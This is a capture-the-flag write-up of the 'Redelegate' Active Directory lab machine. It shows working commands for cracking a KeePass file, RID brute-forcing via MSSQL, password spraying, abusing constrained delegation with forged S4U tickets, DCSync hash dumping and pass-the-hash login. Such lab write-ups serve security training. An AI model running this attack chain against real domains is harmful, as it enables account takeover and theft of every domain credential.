Redelegate

05 Aug, 2026

Redelegate is a hard machine from VulnLab/Hack The Box that features domain user enumeration from MSSQL local auth as well as abusing Kerberos Constrained Delegation.

Target: dc.redelegate.vl (10.129.234.50)
Domain: redelegate.vl

Nmap Scan

sudo nmap -sVC -T4 -p- -oA redelegate

Nmap scan report for 10.129.234.50
Host is up (0.072s latency).
Not shown: 65504 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-04 15:00:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.129.234.50:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-08-04T15:01:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-04T14:46:35
|_Not valid after:  2056-08-04T14:46:35
| ms-sql-ntlm-info:
|   10.129.234.50:1433:
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Not valid before: 2026-08-03T14:43:59
|_Not valid after:  2027-02-02T14:43:59
|_ssl-date: 2026-08-04T15:01:44+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: REDELEGATE
|   NetBIOS_Domain_Name: REDELEGATE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: redelegate.vl
|   DNS_Computer_Name: dc.redelegate.vl
|   DNS_Tree_Name: redelegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-08-04T15:01:37+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49932/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.129.234.50:49932:
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
|_ssl-date: 2026-08-04T15:01:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-04T14:46:35
|_Not valid after:  2056-08-04T14:46:35
| ms-sql-info:
|   10.129.234.50:49932:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 49932
57017/tcp open  msrpc         Microsoft Windows RPC
57028/tcp open  msrpc         Microsoft Windows RPC
59962/tcp open  msrpc         Microsoft Windows RPC
59963/tcp open  msrpc         Microsoft Windows RPC
59967/tcp open  msrpc         Microsoft Windows RPC
59968/tcp open  msrpc         Microsoft Windows RPC
65104/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-08-04T15:01:39
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

The target is an Active Directory domain controller. The various default Nmap scripts has discovered the host’s NETBIOS name (DC) and domain name (REDELEGATE.VL). Additionally, we also see plaintext FTP being using, with anonymous login enabled, MSSQL for database, as well as RDP and WinRM as our remote management protocols.

FTP (21/TCP)

The FTP service on dc.redelegate.vl can be accessed by the anonymous user. The share contains several text files and a database for KeePass, a local password manager.

╭─brian@rx-93-nu redelegate/scans/service
╰─$ ftp dc.redelegate.vl
Connected to redelegate.vl.
220 Microsoft FTP Service
Name (dc.redelegate.vl:brian): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
10-20-24  01:11AM                  434 CyberAudit.txt
10-20-24  05:14AM                 2622 Shared.kdbx
10-20-24  01:26AM                  580 TrainingAgenda.txt
226 Transfer complete.

The notes found on the FTP share reveals sensitive information regarding the organization’s security posture. We see that the usage of weak passwords, especially those of the SeasonYear! format is prevalent in the organization. The TrainingAgenda.txt file is also written for October 2024.

╭─brian@rx-93-nu misc/loot/ftp
╰─$ ls
CyberAudit.txt  Shared.kdbx  TrainingAgenda.txt
╭─brian@rx-93-nu misc/loot/ftp
╰─$ cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS

[!] CyberSecurity Audit findings:

1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs

[*] Remediation steps:

1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS
╭─brian@rx-93-nu misc/loot/ftp
╰─$ cat TrainingAgenda.txt
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)

Friday 4th October  | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one


Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?


Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password


Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them%

KeePass Database

We extract password hash from the KeePass database using keepass2john.

╭─brian@rx-93-nu misc/loot/ftp
╰─$ keepass2john Shared.kdbx | tee shared_kdbx.hash
Shared:$keepass$*2*600000*0*ce7395f413946b<HASH_REDACTED>

We can use a simple Bash one-liner with a double for-loop to generate a wordlist with passwords of the SeasonYear! format.

╭─brian@rx-93-nu vulnlab/redelegate/notes
╰─$ for year in {2020..2026}; do for season in {"Spring","Summer","Fall","Winter"}; do printf "${season}${year}\!\n" | tee -a seasonyear_wordlist; done;done
Spring2020!
Summer2020!
Fall2020!
Winter2020!
Spring2021!
Summer2021!
Fall2021!
[...]

With a small wordlist like the one above, we can opt for John the Ripper (JtR) rather than using Hashcat, which is optimized for GPU usage and larger scale password cracking. We do successfully recover the password from the KeePass database.

╭─brian@rx-93-nu misc/loot/ftp
╰─$ john --wordlist=seasonyear_wordlist shared_kdbx.hash
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Fall2024!        (Shared)
1g 0:00:00:00 DONE (2026-08-04 10:58) 1.818g/s 50.90p/s 50.90c/s 50.90C/s Spring2020!..Winter2026!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The KeePass database can be opened with any password manager compatible with the KeePass format. I used KeePassXC. Inside the database stores a series of credentials. A password database with weak credentials that is exposed via FTP is a bad password storage practice that should be avoided even in internal networks.

Most of these credentials are deprecated or not intended for our target. However, the SQL Guest Acces credential (SQLGuest) might be useful since MSSQL is available from over the network. We can try logging into the database server.

MSSQL (1433/TCP)

Using mssqlclient.py from Impacket, we are successful at logging into the database server on DC using SQL local auth.

╭─brian@rx-93-nu misc/loot/ftp
╰─$ mssqlclient.py SQLGuest@10.129.234.50
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands

There is not much that we can do here. Our SQLGuest user is not a server admin, so we cannot enable xp_cmdshell and execute commands. We have very little privileges on the database server. However, even if we are logged in as a low-privilege user using SQL local auth, we can use the MSSQL session to enumerate users on the Active Directory domain the service is running under.

I found this article from NetSPI that details how RID Brute-forcing is possible through an MSSQL session. The Metasploit module auxiliary/admin/mssql/mssql_enum_domain_accounts can be used for this purpose, but I decided to implement a Python Script, with the help of AI and the Impacket Library, that logs onto the MSSQL instance, and looks up each object’s Security Identifier (SID) using the SUSER_SNAME() stored procedure. You can find my script on GitHub.

╭─brian@rx-93-nu redelegate/misc/tools
╰─$ python mssql_rid_brute.py -target dc.redelegate.vl -u SQLGuest -p zDPBpaF4FywlqIv11vii
[+] Login successful
[*] No domain SID supplied -- attempting auto-discovery via SUSER_SID()
[+] Discovered domain SID: 0x010500000000000515000000a185deefb22433798d8e847a
[*] Brute-forcing RIDs 500-1500 against domain SID 0x010500000000000515000000a185deefb22433798d8e847a
[...]
[+] Done. 36 accounts resolved.
[*] 500:WIN-Q13O908QBPG\Administrator
[*] 501:REDELEGATE\Guest
[*] 502:REDELEGATE\krbtgt
[*] 512:REDELEGATE\Domain Admins
[*] 513:REDELEGATE\Domain Users
[*] 514:REDELEGATE\Domain Guests
[*] 515:REDELEGATE\Domain Computers
[*] 516:REDELEGATE\Domain Controllers
[*] 517:REDELEGATE\Cert Publishers
[*] 518:REDELEGATE\Schema Admins
[*] 519:REDELEGATE\Enterprise Admins
[*] 520:REDELEGATE\Group Policy Creator Owners
[*] 521:REDELEGATE\Read-only Domain Controllers
[*] 522:REDELEGATE\Cloneable Domain Controllers
[*] 525:REDELEGATE\Protected Users
[*] 526:REDELEGATE\Key Admins
[*] 527:REDELEGATE\Enterprise Key Admins
[*] 553:REDELEGATE\RAS and IAS Servers
[*] 571:REDELEGATE\Allowed RODC Password Replication Group
[*] 572:REDELEGATE\Denied RODC Password Replication Group
[*] 1000:REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
[*] 1002:REDELEGATE\DC$
[*] 1103:REDELEGATE\FS01$
[*] 1104:REDELEGATE\Christine.Flanders
[*] 1105:REDELEGATE\Marie.Curie
[*] 1106:REDELEGATE\Helen.Frost
[*] 1107:REDELEGATE\Michael.Pontiac
[*] 1108:REDELEGATE\Mallory.Roberts
[*] 1109:REDELEGATE\James.Dinkleberg
[*] 1112:REDELEGATE\Helpdesk
[*] 1113:REDELEGATE\IT
[*] 1114:REDELEGATE\Finance
[*] 1115:REDELEGATE\DnsAdmins
[*] 1116:REDELEGATE\DnsUpdateProxy
[*] 1117:REDELEGATE\Ryan.Cooper
[*] 1119:REDELEGATE\sql_svc

We clean up the results above, filtering out the groups and computer accounts. This allows us to conduct a password spraying against the domain user accounts. We use Fall2024! as our candidate, and get a hit from Marie.Curie.

╭─brian@rx-93-nu vulnlab/redelegate/notes
╰─$ cat users
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
╭─brian@rx-93-nu vulnlab/redelegate/notes
╰─$ nxc smb 10.129.234.50 -u users -p 'Fall2024!' --continue-on-success
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024!
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helen.Frost:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Michael.Pontiac:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Mallory.Roberts:Fall2024! STATUS_ACCOUNT_RESTRICTION
SMB         10.129.234.50   445    DC               [-] redelegate.vl\James.Dinkleberg:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Ryan.Cooper:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\sql_svc:Fall2024! STATUS_LOGON_FAILURE

Domain Enumeration

With Marie.Curie’s credentials, we can enumerate the domain using bloodhound-ce-python, which generates data that can be fed into BloodHound-CE.

╭─brian@rx-93-nu scans/ad_enum/bh
╰─$ bloodhound-ce-python -c all -d redelegate.vl -u Marie.Curie -p 'Fall2024!' -dc dc.redelegate.vl -ns 10.129.234.50
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: redelegate.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.redelegate.vl
INFO: Testing resolved hostname connectivity dead:beef::b9cd:e206:b215:4a0b
INFO: Trying LDAP connection to dead:beef::b9cd:e206:b215:4a0b
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.redelegate.vl
INFO: Testing resolved hostname connectivity dead:beef::b9cd:e206:b215:4a0b
INFO: Trying LDAP connection to dead:beef::b9cd:e206:b215:4a0b
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer: dc.redelegate.vl
WARNING: SID S-1-5-21-3745110700-3336928118-3915974013-1109 lookup failed, return status: STATUS_NONE_MAPPED
INFO: Done in 00M 12S

After performing an analysis of the domain starting from Marie.Curie, we see that the user is part of the Helpdesk group, which has the right to reset passwords for a number of accounts, including Helen.Frost, who is part of the Remote Management Users group.

Initial Foothold

To reset the user’s password, we use net rpc command.

╭─brian@rx-93-nu redelegate/misc/loot
╰─$ net rpc password "Helen.Frost" "C7iZtI8FcthTOaZEY6iW" -U "REDELEGATE.VL"/"Marie.Curie"%'Fall2024!' -S "dc.redelegate.vl"
╭─brian@rx-93-nu redelegate/misc/loot
╰─$ nxc smb 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW'
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Helen.Frost:C7iZtI8FcthTOaZEY6iW

Now, we login via WinRM:

╭─brian@rx-93-nu redelegate/misc/loot
╰─$ evil-winrm -i 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW'
[...]
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> whoami
redelegate\helen.frost
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> type ..\Desktop\user.txt
<FLAG_REDACTED>

Privilege Escalation

Enumerating the user’s privileges on DC returns some interesting results. Notably, the user is granted SeEnableDelegationPrivilege on the target host. If a domain user has this privilege on a domain controller, this allows the user to “enable computer and user accounts to be trusted for delegation”.

*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

In a similar box, Delegate, we were able to create an machine account, an SPN, and a DNS records pointing back to our attacker machine for us to conduct an abuse of Unconstrained Kerberos delegation that allowed us to collect user Ticket Granting Tickets (TGT). Unfortunately, we cannot create computer accounts in this domain, since the MachineAccountQuota has been set to 0.

╭─brian@rx-93-nu redelegate/scans/ad_enum
╰─$ nxc ldap 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW' -M maq
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\Helen.Frost:C7iZtI8FcthTOaZEY6iW
MAQ         10.129.234.50   389    DC               [*] Getting the MachineAccountQuota
MAQ         10.129.234.50   389    DC               MachineAccountQuota: 0

However, BloodHound shows Helen.Frost is a member of IT group and has GenericAll on FS01$, another computer account on the domain.

This allows us to set up Constrained Delegation, which allows a service to request a service ticket on behalf of another user, either to itself (via S4U2self), or to another service principal (via S4U2proxy). Our attack involves:

Reset the Password of FS01$
Configure constrained delegation from FS01$ -> cifs/dc.redelegate.vl
As FS01$, request a service ticket, DC$ -> cifs/dc.redelegate.vl via S4U2self then S4U2proxy
Use the service ticket to DCSync the domain controller and win.

First, we change the password of FS01$, leveraging Helen.Frost’s GenericAll access to FS01$.

╭─brian@rx-93-nu redelegate/scans/ad_enum
╰─$ bloodyAD -d redelegate.vl -H dc.redelegate.vl --dns 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW' set password 'FS01$' 'XtbRlZQHTrMKdAVdtkVh'
[+] Password changed successfully!

Next, we add TRUSTED_TO_AUTH_FOR_DELEGATION flag to the UAC of FS01$, permitting the machine account for constrained delegation on the domain.

╭─brian@rx-93-nu redelegate/scans/ad_enum
╰─$ bloodyAD -d redelegate.vl -H dc.redelegate.vl --dns 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW' add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
[+] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl

We then add SPN cifs/dc.redelegate.vl to the msDS-AllowedToDelegateTo attribute of FS01$, allowing the machine account to delegate to the CIFS (SMB and RPC) of the domain controller.

╭─brian@rx-93-nu redelegate/scans/ad_enum
╰─$ bloodyAD -d redelegate.vl -H dc.redelegate.vl --dns 10.129.234.50 -u Helen.Frost -p 'C7iZtI8FcthTOaZEY6iW' set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated

The constrained delegation from FS01 to DC is set up. Now, we use getST.py from Impacket to request a service ticket for machine account dc$ to the service principal cifs/dc.redelegate.vl as the FS01$ computer account. This is accomplished by first requesting S4U2self as DC$, which produces a forwardable ticket that we can then use to request S4U2proxy to cifs/dc.redelegate.vl.

╭─brian@rx-93-nu redelegate/misc/loot
╰─$ getST.py -spn 'cifs/dc.redelegate.vl' -impersonate 'dc$' -dc-ip 10.129.234.50 "REDELEGATE.VL/fs01$:XtbRlZQHTrMKdAVdtkVh"
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc$@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache

We import ticket into our session, and pass it to the domain controller for a DCSync attack, dumping all user NT hashes on the domain.

╭─brian@rx-93-nu redelegate/misc/loot
╰─$ export KRB5CCNAME=$PWD/dc\$@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
╭─brian@rx-93-nu redelegate/misc/loot
╰─$ klist
Ticket cache: FILE:/home/brian/Documents/study_files/hacking/vulnlab/redelegate/misc/loot/dc$@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
Default principal: dc$@REDELEGATE.VL

Valid starting       Expires              Service principal
08/04/2026 15:19:13  08/05/2026 01:19:13  cifs/dc.redelegate.vl@REDELEGATE.VL
        renew until 08/05/2026 15:19:13
╭─brian@rx-93-nu redelegate/misc/loot
╰─$ secretsdump.py -k dc.redelegate.vl -outputfile redelegate_secretsdump
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
[...]

Findally, we pass-The-Hash login as the built-in domain administrator via WinRM, concluding our exploitation of Redelegate.

╭─brian@rx-93-nu redelegate/misc/loot
╰─$ evil-winrm -i 10.129.234.50 -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
[...]
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
redelegate\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
<FLAG_REDACTED>

#Hard #Windows #HTB #VulnLab #Active Directory #MSSQL #ACL_Abuse #Kerberos Delegation